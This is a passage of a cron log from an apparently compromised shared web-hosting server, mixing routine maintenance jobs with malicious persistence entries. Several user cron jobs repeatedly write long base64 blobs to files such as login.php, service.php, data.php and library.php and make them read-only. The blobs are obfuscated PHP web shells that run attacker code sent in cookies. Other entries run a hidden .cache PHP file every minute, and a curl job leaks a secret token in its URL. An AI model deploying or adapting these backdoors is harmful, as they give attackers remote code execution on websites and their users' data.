nKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:08:01 medusa CROND[22407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:08:01 medusa CROND[22413]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:08:01 medusa CROND[22415]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:08:01 medusa CROND[22417]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:08:01 medusa CROND[22420]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 08:08:01 medusa CROND[22421]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:08:01 medusa CROND[22422]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:08:01 medusa CROND[22423]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:08:01 medusa CROND[22432]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:09:02 medusa CROND[12461]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:09:02 medusa CROND[12591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:09:02 medusa CROND[12593]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:09:02 medusa CROND[12595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:09:02 medusa CROND[12597]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:09:02 medusa CROND[12598]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:09:02 medusa CROND[12601]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:09:02 medusa CROND[12603]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:09:02 medusa CROND[12602]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 08:09:02 medusa CROND[12604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:09:02 medusa CROND[12611]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:09:02 medusa CROND[12615]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:09:02 medusa CROND[12617]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:10:01 medusa CROND[1786]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 08:10:01 medusa CROND[1821]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:10:02 medusa CROND[1897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:10:02 medusa CROND[1898]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:10:02 medusa CROND[1899]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:10:02 medusa CROND[1900]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 08:10:02 medusa CROND[1901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:10:02 medusa CROND[1902]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:10:02 medusa CROND[1903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:10:02 medusa CROND[1904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:10:02 medusa CROND[1910]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:10:02 medusa CROND[1906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:10:02 medusa CROND[1915]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:10:02 medusa CROND[1918]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:10:02 medusa CROND[1914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:10:02 medusa CROND[1917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:10:02 medusa CROND[1919]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:10:02 medusa CROND[1921]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:10:02 medusa CROND[1922]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
